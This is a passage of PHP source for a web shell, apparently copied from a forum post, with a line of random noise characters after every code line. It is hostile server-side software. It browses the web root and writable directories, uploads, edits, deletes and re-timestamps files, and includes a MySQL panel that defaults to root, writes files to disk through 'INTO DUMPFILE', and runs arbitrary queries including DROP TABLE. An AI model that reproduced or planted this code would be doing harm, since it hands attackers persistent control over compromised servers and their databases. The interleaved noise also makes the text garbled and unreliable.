     7 `8 A3 ^4 S. ^" q
467.         $('fileopform').submit();
     ) m) L" \6 m3 {9 N1 [& M/ s4 |1 v4 t
468. }
     
469. function godir(dir,view_writable){
     
470.         if (view_writable) {
     & d- A4 D3 r$ _
471.                 $('godir').view_writable.value=1;
     
472.         }
     , Z; m4 e5 T! C& W7 X2 L
473.         $('godir').dir.value=dir;
     6 `2 X" t9 ?/ a+ p1 G& v8 v
474.         $('godir').submit();
     ' a0 k: q+ x" h) Z6 l
475. }
     $ v1 X" {4 p% v9 m2 ]: z# O# H
476. </script>
     ' R1 x) X& Z/ I
477.   <?php
     
478.         tbhead();
     
479.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
     
480.         p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
     2 b" z! ?* q3 q# n7 o; g
481.         p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
     - K% S& Z2 a5 c
482.         if ($view_writable) {
     8 H+ Y) a( ^+ Q; d) \8 Q
483.                 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
     & g8 ~  O9 n2 C2 T7 B$ s
484.         } else {
     
485.                 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
     ; a0 i3 C7 F7 i  k( P" O
486.         }
     4 L1 x- V) v& C5 G+ B( _3 o
487.         p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
     
488.         if (IS_WIN && IS_COM) {
     + n7 G# F( l4 H
489.                 $obj = new COM('scripting.filesystemobject');
     ' f0 ]3 Q9 I+ [, I# f  Z9 o5 k
490.                 if ($obj && is_object($obj)) {
     + _' T4 v+ Q/ D/ u6 N
491.                         $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
     7 U  L- Q" O$ c  _/ ~/ m
492.                         foreach($obj->Drives as $drive) {
     
493.                                 if ($drive->DriveType == 2) {
     
494.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'
     
495. Free:'.sizecount($drive->FreeSpace).'
     
496. Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
     9 U' k; s  _. v
497.                                 } else {
     
498.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
     : T3 V- K- R; c. @9 v1 E; o! b
499.                                 }
     
500.                         }
     
501.                 }
     
502.         }
     ' o1 M4 r. f9 s( E
503. 
     
504.         p('</td></tr></form>');
     
505. 
       R/ R. j( e( g* }/ U1 z; F7 w
506.         p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
     7 i' l5 x6 ]0 I7 f3 R
507. 
     
508.         //查看所有可写文件和目录
     4 m3 X1 M1 I$ N" n, q
509.         $dirdata=array();
     
510.         $filedata=array();
     3 Z) ?& D8 I# j: Y4 v  }3 C# q
511. 
     
512.         if ($view_writable) {
     
513.                 $dirdata = GetList($nowpath);
     
514.         } else {
     
515.                 // 目录列表
     
516.                 $dirs=@opendir($dir);
     0 M3 t' c5 T9 v9 a7 b. C6 K
517.                 while ($file=@readdir($dirs)) {
     & g; I) j5 ]  m  b  _) [, [4 v
518.                         $filepath=$nowpath.$file;
     
519.                         if(@is_dir($filepath)){
     & ?  P! g# d8 s3 P
520.                                 $dirdb['filename']=$file;
     % a/ }) @) Z% B9 n4 U, v
521.                                 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
     
522.                                 $dirdb['dirchmod']=getChmod($filepath);
     
523.                                 $dirdb['dirperm']=getPerms($filepath);
     0 c% j: @8 s' k6 X7 T/ T+ j6 k* G
524.                                 $dirdb['fileowner']=getUser($filepath);
     , L6 ]' A4 X$ |1 o
525.                                 $dirdb['dirlink']=$nowpath;
     
526.                                 $dirdb['server_link']=$filepath;
     
527.                                 $dirdb['client_link']=ue($filepath);
     & J6 P& o# ?2 H7 O% s
528.                                 $dirdata[]=$dirdb;
     
529.                         } else {               
     1 r( d3 I! }) C
530.                                 $filedb['filename']=$file;
     " h1 Z+ p, |/ D8 d7 @4 P7 T
531.                                 $filedb['size']=sizecount(@filesize($filepath));
     
532.                                 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
     5 j/ c/ I1 Y) i2 y# a9 X
533.                                 $filedb['filechmod']=getChmod($filepath);
     
534.                                 $filedb['fileperm']=getPerms($filepath);
     
535.                                 $filedb['fileowner']=getUser($filepath);
     
536.                                 $filedb['dirlink']=$nowpath;
     
537.                                 $filedb['server_link']=$filepath;
     
538.                                 $filedb['client_link']=ue($filepath);
     
539.                                 $filedata[]=$filedb;
     2 _, l3 A; d) d* e: @4 Q9 J
540.                         }
     ! z7 I: S5 q2 p3 c
541.                 }// while
     
542.                 unset($dirdb);
     & S# `( T8 r# _+ ^1 P2 d  x2 ?
543.                 unset($filedb);
     
544.                 @closedir($dirs);
     
545.         }
     
546.         @sort($dirdata);
       B, {$ f) X% x+ C0 ~9 P# S# i
547.         @sort($filedata);
     4 ?! ^$ m  ^* ~' l/ j
548.         $dir_i = '0';
     
549.         foreach($dirdata as $key => $dirdb){
     
550.                 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
     
551.                         $thisbg = bg();
     1 q' I  }: r6 n7 A1 E1 i$ `. d
552.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
     
553.                         p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
     
554.                         p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
     + }+ P% A# R# U2 \9 F
555.                         p('<td nowrap>'.$dirdb['mtime'].'</td>');
     / ~% K: n; o0 g1 r7 ^# h' n' H9 ^
556.                         p('<td nowrap>--</td>');
     
557.                         p('<td nowrap>');
     0 d# ^8 {( K" r8 a" F: X
558.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
     1 L; ]  e+ c% d. g, B5 k
559.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
     
560.                         p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
     
561.                         p('</tr>');
     
562.                         $dir_i++;
     
563.                 } else {
     
564.                         if($dirdb['filename']=='..') {
     
565.                                 p('<tr class='.bg().'>');
     
566.                                 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
     : X( R2 F- ^' T3 J; I; W
567.                                 p('</tr>');
     
568.                         }
     % u: z9 l+ Y  J8 t, s' Y
569.                 }
     
570.         }
     ' n$ ^8 G' J1 o# L; C( |1 U' q& {9 X
571. 
     
572.         p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
     
573.         p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
       {: Z# N% X" g
574.         makehide('action','file');
     " b  C' j1 R  N9 P) s
575.         makehide('thefile');
     
576.         makehide('doing');
     
577.         makehide('dir',$nowpath);
     0 ?) J  I0 R5 K) A* s7 A
578.         $file_i = '0';
       R& [/ V. V6 |" }+ I& a1 r
579.         foreach($filedata as $key => $filedb){
     : ]5 E& b2 ?% v, Y3 Q! B- ~
580.                 if($filedb['filename']!='..' && $filedb['filename']!='.') {
     7 [7 Z# G, ?  F3 d3 m! ]
581.                         $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
     
582.                         $thisbg = bg();
     
583.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
       a$ e- z/ I* ^- _
584.                         p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
     $ y4 @+ Q9 Q4 w$ }
585.                         p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
     6 h' X4 N" n, v) s% V7 t
586.                         p('<td nowrap>'.$filedb['mtime'].'</td>');
     
587.                         p('<td nowrap>'.$filedb['size'].'</td>');
     6 G6 }, A; O: L! g; a4 }
588.                         p('<td nowrap>');
     : z( [( W9 W& k  J* Z$ |
589.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
     . v8 X. ~' ?+ V# t
590.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
     
591.                         p('<td nowrap>');
     0 l+ f. O2 w+ S6 u3 D: |5 J* G
592.                         p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
     , n0 t# @4 ^6 E
593.                         p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
     9 M( M2 T: `; J! {. H
594.                         p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
     1 j* m5 Y+ W: T. P
595.                         p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
     7 q) U& Y; [! v: o% x8 a
596.                         p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
     % m9 F) H2 d7 t. L" z  ^5 t' e
597.                         p('</td></tr>');
     
598.                         $file_i++;
     
599.                 }
     
600.         }
     
601.         p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
     + ^" }. Z; \& h
602.         p('</form></table>');
     2 W! I/ @2 b, I' L1 |# w$ {
603. }// end dir
     
604. 
     
605. elseif ($action == 'sqlfile') {
     
606.         if($doing=="mysqlupload"){
     $ {+ }# h( F! [  o' k1 s* j% M) L$ r
607.                 $file = $_FILES['uploadfile'];
     
608.                 $filename = $file['tmp_name'];
     
609.                 if (file_exists($savepath)) {
     
610.                         m('The goal file has already existed');
     9 M$ U# g5 w, ]4 }- b, I
611.                 } else {
     & ?. n8 ~. r! S
612.                         if(!$filename) {
     7 W3 g3 d/ F3 ]  S5 v
613.                                 m('Please choose a file');
     4 t' i: ]) d7 V! X) o1 S0 H
614.                         } else {
     
615.                                 $fp=@fopen($filename,'r');
     
616.                                 $contents=@fread($fp, filesize($filename));
     
617.                                 @fclose($fp);
     9 v6 G1 j& u" D
618.                                 $contents = bin2hex($contents);
     3 @8 s0 U) A, m  K- l* Z
619.                                 if(!$upname) $upname = $file['name'];
     
620.                                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     
621.                                 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
     1 ]; M7 T6 g) c- p* y
622.                                 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
     ( P2 r4 u- }$ U, f( i! E7 c" Y
623.                         }
     
624.                 }
     
625.         }
     1 A# Y3 t9 V( {9 g9 f
626. ?>
     ) G; p1 J: J+ y
627. <script type="text/javascript">
     
628. function mysqlfile(doing){
     " |! ^& S* j5 Q0 W8 E) S' K% Q8 u
629.         if(!doing) return;
       n. y) ~& j  L& t( J
630.         $('doing').value=doing;
     
631.         $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
     
632.         $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
     2 Z* |/ E8 O% i$ q) }
633.         $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
     
634.         $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
       u9 x/ s+ Z2 J3 c
635.         $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
     2 A+ w/ S# u3 o7 \: ?: ~8 @0 A
636.         $('mysqlfile').charset.value=$('dbinfo').charset.value;
     
637.         $('mysqlfile').submit();
     
638. }
     
639. </script>
     7 y! e! h- F  \5 {+ B1 H$ G
640. <?php
     9 c" g& N. M9 _4 ^7 s
641.         !$dbhost && $dbhost = 'localhost';
     
642.         !$dbuser && $dbuser = 'root';
     
643.         !$dbport && $dbport = '3306';
     % Y4 ?1 A/ ^0 ~! L! m! T
644.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
     
645.         formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
     
646.         makehide('action','sqlfile');
     
647.         p('<p>');
     . C9 k1 Q- t2 n. C3 |' ?) f
648.         p('DBHost:');
     . b/ |* M+ ?+ \, d4 s
649.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
     
650.         p(':');
     
651.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
     . q5 S5 a; s- ^0 M
652.         p('DBUser:');
     6 P' n: ~9 C7 e8 ~
653.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
     
654.         p('DBPass:');
     
655.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
     
656.         p('DBName:');
       ?* l9 t  w$ \( e$ _2 Y
657.         makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
     
658.         p('DBCharset:');
     
659.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
     1 h% L1 j+ b' ~1 q% _: m
660.         p('</p>');
     
661.         formfoot();
     
662.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
     ( g5 ?. e, {# s- i# u* m' _  @
663.         p('<h2>Upload file</h2>');
     
664.         p('<p><b>This operation the DB user must has FILE privilege</b></p>');
     
665.         p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
     
666.         p('<h2>Download file</h2>');
     ' |  x. d8 J: R$ O: x+ q
667.         p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
     # m& N0 N7 r) e: Z7 J+ E3 [* Q
668.         makehide('dbhost');
     / N2 a  l0 s" V3 F; b( f  s* _
669.         makehide('dbport');
     
670.         makehide('dbuser');
     6 Z0 _, g0 s/ {3 `2 w
671.         makehide('dbpass');
     ( d& A& ?$ \- `- k/ ]$ ]1 d! k
672.         makehide('dbname');
     2 ~( y9 N6 Q  m/ g4 \
673.         makehide('charset');
     8 K& N  v+ |, g9 W6 z
674.         makehide('doing');
     ; d  G2 w/ v6 C$ e0 |( P& z- T
675.         makehide('action','sqlfile');
     + o- l0 K/ H( d6 ^7 _. \2 i
676.         p('</form>');
     9 }. ^0 [% h$ a5 c2 |5 u
677. }
     
678. 
     2 s* R  M3 `. P4 U; i6 U
679. elseif ($action == 'sqladmin') {
     
680.         !$dbhost && $dbhost = 'localhost';
     
681.         !$dbuser && $dbuser = 'root';
     
682.         !$dbport && $dbport = '3306';
     
683.         $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
     * H- a) p& W- w8 A
684.         if(isset($dbhost)){
     
685.                 $dbform .= "<input type="hidden" id="dbhost" name="dbhost" value="$dbhost" />\n";
     
686.         }
     
687.         if(isset($dbuser)) {
     : X( D7 X4 |2 y! J; ^# z
688.                 $dbform .= "<input type="hidden" id="dbuser" name="dbuser" value="$dbuser" />\n";
     
689.         }
     8 l3 h; u9 X! s
690.         if(isset($dbpass)) {
     
691.                 $dbform .= "<input type="hidden" id="dbpass" name="dbpass" value="$dbpass" />\n";
     
692.         }
     5 {  k5 k- t% M* L4 x
693.         if(isset($dbport)) {
     
694.                 $dbform .= "<input type="hidden" id="dbport" name="dbport" value="$dbport" />\n";
     
695.         }
     
696.         if(isset($dbname)) {
     
697.                 $dbform .= "<input type="hidden" id="dbname" name="dbname" value="$dbname" />\n";
     1 l% |& Z7 Y3 E) _$ m
698.         }
     
699.         if(isset($charset)) {
     5 b) b& L  W3 e" X
700.                 $dbform .= "<input type="hidden" id="charset" name="charset" value="$charset" />\n";
     4 r1 ^' ^( O  x! S  e2 n; [( m/ |+ v
701.         }
     
702. 
     * X! T( R& c. X/ E2 q
703.         if ($doing == 'backupmysql' && $saveasfile) {
     
704.                 if (!$table) {
     " R1 M& \% S8 m) ~/ R: ^& h
705.                         m('Please choose the table');
     
706.                 } else {
     
707.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     - Q0 ^3 p3 J# v/ @. b2 M( q7 p
708.                         $table = array_flip($table);
     
709.                         $fp = @fopen($path,'w');
     
710.                         if ($fp) {
     
711.                                 $result = q('SHOW tables');
     
712.                                 if (!$result) p('<h2>'.mysql_error().'</h2>');
     
713.                                 $mysqldata = '';
     
714.                                 while ($currow = mysql_fetch_array($result)) {
     - e8 ?/ n2 j( s
715.                                         if (isset($table[$currow[0]])) {
     # |4 A/ A. X; q. M+ [) \3 p! ]
716.                                                 sqldumptable($currow[0], $fp);
     
717.                                         }
     * M% }6 I4 U, M5 W! _
718.                                 }
     
719.                                 fclose($fp);
     % b6 c) T& q# H% w
720.                                 $fileurl = str_replace(SA_ROOT,'',$path);
     
721.                                 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
     
722.                                 mysql_close();
     2 N# j2 o. b* I" `
723.                         } else {
     7 P; W4 [$ h; ?8 O4 x
724.                                 m('Backup failed');
     0 ?' N! k9 R! y, u, n& [
725.                         }
     
726.                 }
     
727.         }
     % R  j* n! R5 r2 @- U& q) r
728.         if ($insert && $insertsql) {
     1 b8 o+ n- S# i# G# j
729.                 $keystr = $valstr = $tmp = '';
     ; H0 X! a6 Y- f( ~! f
730.                 foreach($insertsql as $key => $val) {
     ' m( R* j$ L5 o- \. ?' M# D
731.                         if ($val) {
     . V! f6 ^( a4 C0 l, o" a7 d
732.                                 $keystr .= $tmp.$key;
     
733.                                 $valstr .= $tmp."'".addslashes($val)."'";
     / Z# w, L* f7 F2 |
734.                                 $tmp = ',';
     
735.                         }
     : m7 d' |. C* Z, k- m) I6 G$ P
736.                 }
     , f1 d1 M7 a* @- _5 P1 n) E
737.                 if ($keystr && $valstr) {
     
738.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     
739.                         m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
     2 W) \# @3 r( W8 f
740.                 }
     
741.         }
     
742.         if ($update && $insertsql && $base64) {
     
743.                 $valstr = $tmp = '';
     9 ]1 t+ X4 ~5 Z. E' g1 ~7 A
744.                 foreach($insertsql as $key => $val) {
     . r6 W7 U$ m# r: y
745.                         $valstr .= $tmp.$key."='".addslashes($val)."'";
     
746.                         $tmp = ',';
     2 V9 a* ]6 G" a3 J
747.                 }
     
748.                 if ($valstr) {
     
749.                         $where = base64_decode($base64);
     & B8 _6 o2 O% ^* Y7 {
750.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     
751.                         m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
     
752.                 }
     
753.         }
     
754.         if ($doing == 'del' && $base64) {
     4 M, T/ j& `+ S3 l) R3 B2 I8 a' f
755.                 $where = base64_decode($base64);
     
756.                 $delete_sql = "DELETE FROM $tablename WHERE $where";
     + W1 o0 @6 ^& {6 L' W" E" s
757.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     
758.                 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
     5 D) u# g9 b; K( F$ n' ^# T% E+ R! G
759.         }
     / Y/ k9 d6 P  g( j& A9 ^( B/ P) v
760. 
     
761.         if ($tablename && $doing == 'drop') {
     
762.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     
763.                 if (q("DROP TABLE $tablename")) {
     % H1 a7 H9 A* R' p- m8 }
764.                         m('Drop table of success');
     2 g, K: r3 T4 G9 x3 x5 i/ L- w
765.                         $tablename = '';
     . @  Y9 f3 m. }( ]9 i
766.                 } else {
     , o* }5 F' J' o
767.                         m(mysql_error());
     ( m0 K7 z2 p) U" U) w
768.                 }
     
769.         }
     
770. 
     
771.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
     # ]5 ?7 v: D! ]3 E' U- A- h
772. 
     & j4 B0 Y5 ^* w0 W* c
773.         formhead(array('title'=>'MYSQL Manager'));
     
774.         makehide('action','sqladmin');
     
775.         p('<p>');
     
776.         p('DBHost:');
     
777.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
     
778.         p(':');
     4 |- |3 N- P  {9 c/ K7 }# L/ ~
779.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
     4 ^" T$ x( T, A. T- y3 l7 l( B: `
780.         p('DBUser:');
     
781.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
     
782.         p('DBPass:');
     - p% ?0 {  F' c0 ]! H' @  |; y0 l
783.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
     
784.         p('DBCharset:');
     
785.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
     . \6 R5 g7 O2 b3 u. ?# h& Y) s1 R' }
786.         makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
     
787.         p('</p>');
     
788.         formfoot();
     / |0 ?# t4 p& Y4 Y  i' }3 q& j3 v
789. ?>
     
790. <script type="text/javascript">
     
791. function editrecord(action, base64, tablename){
     
792.         if (action == 'del') {               
     
793.                 if (!confirm('Is or isn\'t deletion record?')) return;
     
794.         }
     + M' d( @1 V. |8 P( D& `4 X
795.         $('recordlist').doing.value=action;
     
796.         $('recordlist').base64.value=base64;
     . M$ j" E9 o& J( F: F" w1 u, |
797.         $('recordlist').tablename.value=tablename;
     ! R2 Q# z3 f; Z9 o
798.         $('recordlist').submit();
     
799. }
     0 s1 I% N( C& n) v5 Y
800. function moddbname(dbname) {
     
801.         if(!dbname) return;
     
802.         $('setdbname').dbname.value=dbname;
     
803.         $('setdbname').submit();
     5 D/ k2 |6 q# l% v& c
804. }
     
805. function settable(tablename,doing,page) {
     , T! B6 I" }) x
806.         if(!tablename) return;
     
807.         if (doing) {
     2 v; o8 B# R& K
808.                 $('settable').doing.value=doing;
     
809.         }
     : z+ {" e6 y0 _8 C  A% \- q5 [% h
810.         if (page) {
     * H/ e. X. n+ [
811.                 $('settable').page.value=page;
     
812.         }
     
813.         $('settable').tablename.value=tablename;
     
814.         $('settable').submit();
     ' V! d2 [& j2 z" b8 Q
815. }
     
816. </script>
     5 }) b+ ^' H4 Q" C+ S0 {" U" a+ v7 A
817. <?php
     ! I) y4 d4 s- G% J& J( {
818.         //操作记录
     + L) C% x" Q* p7 _8 m; T
819.         formhead(array('name'=>'recordlist'));
     
820.         makehide('doing');
     
821.         makehide('action','sqladmin');
     % @. M1 Y" x" J" `" A, s
822.         makehide('base64');
     
823.         makehide('tablename');
     
824.         p($dbform);
     1 X/ V7 p- o9 l6 c& C5 d
825.         formfoot();
     
826.         //选定数据库
     
827.         formhead(array('name'=>'setdbname'));
     
828.         makehide('action','sqladmin');
     * A* A' d9 V* C9 C+ g
829.         p($dbform);
     ! A0 }% O/ e& G* `- {4 S: P- C
830.         if (!$dbname) {
     ; ^" P) {7 v2 K0 G  c
831.                 makehide('dbname');
     
832.         }
     
833.         formfoot();
     
834.         //选定表
     
835.         formhead(array('name'=>'settable'));
     0 h+ e! D4 }. k9 b, J
836.         makehide('action','sqladmin');
     5 d! R1 J/ a! G- b
837.         p($dbform);
     
838.         makehide('tablename');
     
839.         makehide('page',$page);
     
840.         makehide('doing');
     ) z, T$ z4 a# @! N
841.         formfoot();
     
842.         $cachetables = array();       
     
843.         $pagenum = 30;
     - ]* {* |9 l, Q; I
844.         $page = intval($page);
     7 I* V9 `  _9 X2 T
845.         if($page) {
     % z$ O0 O' o& v3 d7 B
846.                 $start_limit = ($page - 1) * $pagenum;
     ) Z6 J  s2 k; b3 M7 _
847.         } else {
     # d( `" x# Q8 D3 Z
848.                 $start_limit = 0;
     & \* O2 @' X+ ~% A6 h  a! ~
849.                 $page = 1;
     
850.         }
     9 J  `; [& K! {$ s. j$ I! a
851.         if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
     - h8 w9 W( @6 [1 N
852.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
     1 i& Z( H: u( B4 `$ D$ z
853.                 //获取数据库信息
     
854.                 $mysqlver = mysql_get_server_info();
     
855.                 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
     * H7 P, M  x; Y1 E! ~! @! n
856.                 $highver = $mysqlver > '4.1' ? 1 : 0;
     
857.                 //获取数据库
     & a" K2 }5 y. o: S
858.                 $query = q("SHOW DATABASES");
     " Z% x# U6 Y, X$ i! V) [) I4 E
859.                 $dbs = array();
     8 h# t/ B. P: x7 k1 L& f
860.                 $dbs[] = '-- Select a database --';
     ) y- S* V0 W' m! C: ^
861.                 while($db = mysql_fetch_array($query)) {
     8 G' B2 P/ {; p! ~5 U
862.                         $dbs[$db['Database']] = $db['Database'];
     8 j$ |5 W- E) G# ?& j- C5 j
863.                 }
     
864.                 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
     . a# f+ \5 j5 r
865.                 $tabledb = array();
     
866.                 if ($dbname) {
     
867.                         p('<p>');
     " A) [$ l+ t# u2 q! v6 B8 ^
868.                         p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
     
869.                         if ($tablename) {
     1 e- n+ ?4 t# ^; `
870.                                 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
     
871.                         }
     ! C2 U3 K: ~% r0 J; U
872.                         p('</p>');
       I& @' b$ j, Z! C  _$ Q
873.                         mysql_select_db($dbname);
     $ ~8 `; ]4 l% @# q' L6 S, V" Q4 s
874.                         $getnumsql = '';
     
875.                         $runquery = 0;
     % n9 r) O9 B, V( \8 M5 K
876.                         if ($sql_query) {
     
877.                                 $runquery = 1;
     
878.                         }
     ! i4 y* v+ J2 b" c% Q' K1 P$ T
879.                         $allowedit = 0;
     
880.                         if ($tablename && !$sql_query) {
     " T; s1 i) K+ Z, H. y
881.                                 $sql_query = "SELECT * FROM $tablename";
     5 j' e$ r3 T" d7 g1 ]. i
882.                                 $getnumsql = $sql_query;
     , b$ a$ W0 U  }$ K: X+ k9 P" M
883.                                 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
     
884.                                 $allowedit = 1;
     2 H2 a: C9 W2 |. Q# _$ t" {' V
885.                         }
     
886.                         p('<form action="'.$self.'" method="POST">');
     
887.                         p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
     
888.                         makehide('tablename', $tablename);
     . C. Z0 `: v# u/ c. f
889.                         makehide('action','sqladmin');
     
890.                         p($dbform);
     
891.                         p('</form>');
     
892.                         if ($tablename || ($runquery && $sql_query)) {
     
893.                                 if ($doing == 'structure') {
     ! g5 Z* R  @8 u2 z
894.                                         $result = q("SHOW COLUMNS FROM $tablename");
     
895.                                         $rowdb = array();
     
896.                                         while($row = mysql_fetch_array($result)) {
     
897.                                                 $rowdb[] = $row;
     # h; |: G3 F# S( W+ _! D
898.                                         }
     
899.                                         p('<table border="0" cellpadding="3" cellspacing="0">');
     
900.                                         p('<tr class="head">');
     
901.                                         p('<td>Field</td>');
     
902.                                         p('<td>Type</td>');
     
903.                                         p('<td>Null</td>');
     
904.                                         p('<td>Key</td>');
     
905.                                         p('<td>Default</td>');
     
906.                                         p('<td>Extra</td>');
     
907.                                         p('</tr>');
     ' G3 Q( f) d% W/ k9 ?
908.                                         foreach ($rowdb as $row) {
     
909.                                                 $thisbg = bg();
     
